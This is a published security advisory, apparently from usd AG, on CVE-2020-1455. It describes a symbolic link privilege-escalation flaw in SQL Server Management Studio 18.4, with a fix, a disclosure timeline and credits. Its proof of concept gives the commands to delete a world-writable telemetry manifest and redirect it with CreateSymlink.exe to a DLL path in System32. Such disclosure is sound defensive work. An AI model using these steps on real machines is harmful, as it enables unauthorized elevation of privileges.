{"id":16681,"date":"2021-07-08T13:36:55","date_gmt":"2021-07-08T11:36:55","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2020-0030\/"},"modified":"2021-07-19T14:15:33","modified_gmt":"2021-07-19T12:15:33","slug":"usd-2020-0030","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2020-0030\/","title":{"rendered":"usd-2020-0030"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2020-0030 | SQL Server Management Studio 18.4<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2020-0030<\/span><br \/><strong>CVE Number<\/strong><span>: CVE-2020-1455 <\/span><br \/><strong>Affected Product<\/strong><span>: SQL Server Management Studio (SSMS)<\/span><br \/><strong>Affected Version<\/strong><span>: 18.4<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Symbolic Link Vulnerability<\/span><br \/><strong>Security Risk<\/strong><span>: High<\/span><br \/><strong>Vendor URL<\/strong><span>: <a href=\"https:\/\/docs.microsoft.com\/de-de\/sql\/ssms\/download-sql-server-management-studio-ssms?view=sql-server-ver15\" target=\"_blank\" rel=\"noopener\">https:\/\/docs.microsoft.com\/de-de\/sql\/ssms\/download-sql-server-management-studio-ssms?view=sql-server-ver15<\/a><\/span><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p><span>Symbolic link attacks have become more and more popular on Windows operating systems. A symbolic link is just a directory entry that points to a different location of the file system and redirects certain file operations to the actual target. When privileged processes interact with user controlled parts of the file system, symbolic links can be used to redirect privileged file operations in order to achieve an elevation of privileges. However, it should be noticed that low privileged user accounts are not able to create symbolic links that connect two ordinary file system locations. That being said, there is a workaround that allows the creation of pseudo symbolic links, as demonstrated by <\/span><a>James Forshaw<\/a><span>.<\/span><\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p><span>After installing the SQL Server Management Studio (SSMS) by using the corresponding installer, one can find a <\/span><strong>.json<\/strong><span> file that is created inside the\u00a0<\/span><code>C:\\ProgramData\\vstelemetry\\Default<\/code><span> folder. As shown in the following listing, this file allows everyone full access, which represents a non inherited file permission.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]PS C:\\ProgramData\\vstelemetry\\Default&gt; dir<\/p>\n<p>    Directory: C:\\ProgramData\\vstelemetry\\Default<\/p>\n<p>Mode                LastWriteTime         Length Name<br \/>\n----                -------------         ------ ----<br \/>\n-a----        3\/19\/2020   5:24 PM           7275 Default.manifest.json<\/p>\n<p>PS C:\\ProgramData\\vstelemetry\\Default&gt; icacls .\\Default.manifest.json<br \/>\n.\\Default.manifest.json Everyone:(F)<br \/>\n                        NT AUTHORITY\\SYSTEM:(I)(F)<br \/>\n                        BUILTIN\\Administrators:(I)(F)<br \/>\n                        MSEDGEWIN10\\IEUser:(I)(F)<br \/>\n                        BUILTIN\\Users:(I)(RX)<\/p>\n<p>Successfully processed 1 files; Failed processing 0 files<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>A quick analysis with <\/span><a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/procmon\" target=\"_blank\" rel=\"noopener\">Procmon<\/a><span> reveals that the corresponding file is accessed on each startup of SSMS. If it already exists, it is only read by the application. However, if it does not exist, it gets created and the file permissions are set explicitly.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/procmon.png\" title_text=\"procmon\" _builder_version=\"4.9.4\" _module_preset=\"default\" custom_margin=\"27px||43px||false|false\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>This could allow an attacker to achieve an elevation of privileges by using a symbolic link attack. For demonstration, we use the <\/span><a href=\"https:\/\/github.com\/googleprojectzero\/symboliclink-testing-tools\" target=\"_blank\" rel=\"noopener\">symboliclink-testing-tools<\/a><span> of James Forshaw to create a symbolic link that points to a non existing file inside of a protected directory.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]PS C:\\&gt; del C:\\ProgramData\\vstelemetry\\Default\\Default.manifest.json<br \/>\nPS C:\\&gt; C:\\Users\\Public\\CreateSymlink.exe -p C:\\ProgramData\\vstelemetry\\Default\\Default.manifest.json C:\\Windows\\System32\\malicious.dll<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>Now one has to wait until a privileged user account opens the SQL Server Management Studio. In our demonstration, we open SSMS as administrator and can verify that the application follows the symbolic link.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]PS C:\\&gt; dir C:\\Windows\\System32\\malicious.dll<\/p>\n<p>    Directory: C:\\Windows\\System32<\/p>\n<p>Mode                LastWriteTime         Length Name<br \/>\n----                -------------         ------ ----<br \/>\n-a----        3\/19\/2020   5:40 PM           7275 malicious.dll<\/p>\n<p>PS C:\\&gt; icacls C:\\Windows\\System32\\malicious.dll<br \/>\nC:\\Windows\\System32\\malicious.dll Everyone:(F)<br \/>\n                                  NT AUTHORITY\\SYSTEM:(I)(F)<br \/>\n                                  BUILTIN\\Administrators:(I)(F)<br \/>\n                                  BUILTIN\\Users:(I)(RX)<br \/>\n                                  APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(I)(RX)<br \/>\n                                  APPLICATION PACKAGE AUTHORITY\\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)<\/p>\n<p>Successfully processed 1 files; Failed processing 0 files<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<p>Since everyone gets assigned full control over the newly generated file, the file can now be overwritten with arbitrary contents. This should be sufficient to perform a privilege escalation attack.<\/p>\n<p>Relying on an administrative user account for opening SSMS is of course very limiting, but also other user accounts can be tricked to write files into protected locations, where the attacker account does not have access to. Furthermore, it should be noticed that this attack can also be executed during the installation process of SSMS. This could allow an elevation of privileges on workstations that use different kinds of software distribution solutions.<\/p>\n<h3>Fix<\/h3>\n<p><span>File operations on directories that are controlled by low privileged user accounts should always be treated with special care. It is recommended to create a separate configuration file for each user account inside of a protected folder that is only writable\/modifiable by the corresponding user.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2020-03-20 Security vulnerability is found by one of our researchers<\/li>\n<li>2020-04-02 Security vulnerability submitted via MSRC<\/li>\n<li>2020-08-10 Microsoft releases a fix<\/li>\n<li>2020-10-27 Security advisory released<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was found by Tobias Neitzel of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2020-0030 | SQL Server Management Studio 18.4 Advisory ID: usd-2020-0030CVE Number: CVE-2020-1455 Affected Product: SQL Server Management Studio (SSMS)Affected Version: 18.4Vulnerability Type: Symbolic Link VulnerabilitySecurity Risk: HighVendor URL: https:\/\/docs.microsoft.com\/de-de\/sql\/ssms\/download-sql-server-management-studio-ssms?view=sql-server-ver15Vendor Status: Fixed Description Symbolic link attacks have become more and more popular on Windows operating systems. A symbolic link is just a directory entry that points [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16681","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16681","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16681"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16681\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16681"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}